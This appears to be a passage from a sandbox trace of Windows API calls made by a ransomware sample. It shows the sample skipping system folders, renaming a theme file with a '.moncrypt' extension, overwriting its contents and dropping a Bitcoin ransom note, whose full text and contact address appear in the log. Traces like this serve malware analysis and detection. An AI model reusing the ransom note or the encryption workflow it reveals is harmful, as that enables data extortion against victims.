lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0050.637] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0050.637] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\") returned 0x41 [0050.637] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0050.637] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0050.638] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\") returned 0x41 [0050.638] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0050.638] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f48, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0050.638] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.638] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.638] GlobalUnlock (hMem=0x44000c) returned 0 [0050.638] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.638] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.638] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.638] GlobalUnlock (hMem=0x44000c) returned 0 [0050.638] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.638] GlobalUnlock (hMem=0x440004) returned 0 [0050.638] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\") returned 0x41 [0050.638] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0050.638] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\") returned 0x41 [0050.638] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ee8, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0050.639] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\") returned 0x41 [0050.639] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ee8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0050.639] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\") returned 0x41 [0050.639] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0050.639] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\") returned 0x41 [0050.639] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0050.639] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\") returned 0x41 [0050.639] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ee8, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0050.639] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\") returned 0x41 [0050.639] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ee8, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0050.640] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\") returned 0x41 [0050.640] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ee8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0050.640] GlobalLock (hMem=0x440004) returned 0x550170 [0050.640] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.640] GlobalUnlock (hMem=0x440004) returned 0 [0050.640] GlobalLock (hMem=0x440004) returned 0x550170 [0050.641] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.641] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.641] GlobalUnlock (hMem=0x440004) returned 0 [0050.641] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.641] GlobalUnlock (hMem=0x44000c) returned 0 [0050.641] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0050.641] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.641] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c2ae00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5f775610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6c2ae00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xc2ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.ELM", cAlternateFileName="")) returned 1 [0050.641] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0050.641] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.641] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.641] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.641] GlobalUnlock (hMem=0x44000c) returned 0 [0050.641] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.641] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.641] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.641] GlobalUnlock (hMem=0x44000c) returned 0 [0050.641] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.641] GlobalUnlock (hMem=0x440004) returned 0 [0050.641] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.641] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.642] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0050.643] CloseHandle (hObject=0x18c) returned 1 [0050.643] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\я")) returned 1 [0050.644] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c2ae00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5f775610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6c2ae00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xc2ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.ELM", cAlternateFileName="")) returned 0x54e240 [0050.644] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0050.644] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0050.644] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0050.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", dwFileAttributes=0x20) returned 1 [0050.645] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0050.645] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm.moncrypt")) returned 1 [0050.646] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.646] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0050.646] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xc2ba [0050.646] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0050.646] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0050.648] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.648] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0050.648] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0050.648] GlobalUnlock (hMem=0x44000c) returned 0 [0050.648] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0050.648] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0050.648] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0050.648] GlobalUnlock (hMem=0x44000c) returned 0 [0050.648] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0050.649] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0050.649] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.649] GlobalUnlock (hMem=0x440004) returned 0 [0050.649] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0050.649] GlobalUnlock (hMem=0x44000c) returned 0 [0050.649] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.649] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.649] GlobalUnlock (hMem=0x44000c) returned 0 [0050.649] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0050.649] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.649] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.649] GlobalUnlock (hMem=0x44000c) returned 0 [0050.649] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0050.649] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0050.649] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0050.649] SetFilePointer (in: hFile=0x18c, lDistanceToMove=49850, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xc2ba [0050.649] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0050.650] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0050.650] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0050.660] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0050.661] CloseHandle (hObject=0x18c) returned 1 [0050.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.662] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0050.662] CloseHandle (hObject=0x18c) returned 1 [0050.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0050.662] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0050.662] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.662] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.662] GlobalUnlock (hMem=0x44000c) returned 0 [0050.662] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.662] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.662] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.662] GlobalUnlock (hMem=0x44000c) returned 0 [0050.662] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.663] GlobalUnlock (hMem=0x440004) returned 0 [0050.663] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0050.663] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69ef8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0050.663] GetLastError () returned 0x2 [0050.663] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.665] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0050.666] CloseHandle (hObject=0x18c) returned 1 [0050.666] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.INF", cAlternateFileName="")) returned 1 [0050.666] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.666] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.666] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.666] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.666] GlobalUnlock (hMem=0x440004) returned 0 [0050.666] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.667] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.667] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.667] GlobalUnlock (hMem=0x440004) returned 0 [0050.667] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.667] GlobalUnlock (hMem=0x44000c) returned 0 [0050.667] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.667] CharLowerBuffW (in: lpsz="BLUECALM.INF", cchLength=0xc | out: lpsz="bluecalm.inf") returned 0xc [0050.667] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.667] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.667] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.667] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.667] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.667] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.667] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.667] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.667] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.667] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.667] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.667] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.667] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0050.667] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpUsedDefaultChar=0x0) returned 77 [0050.668] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0050.668] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 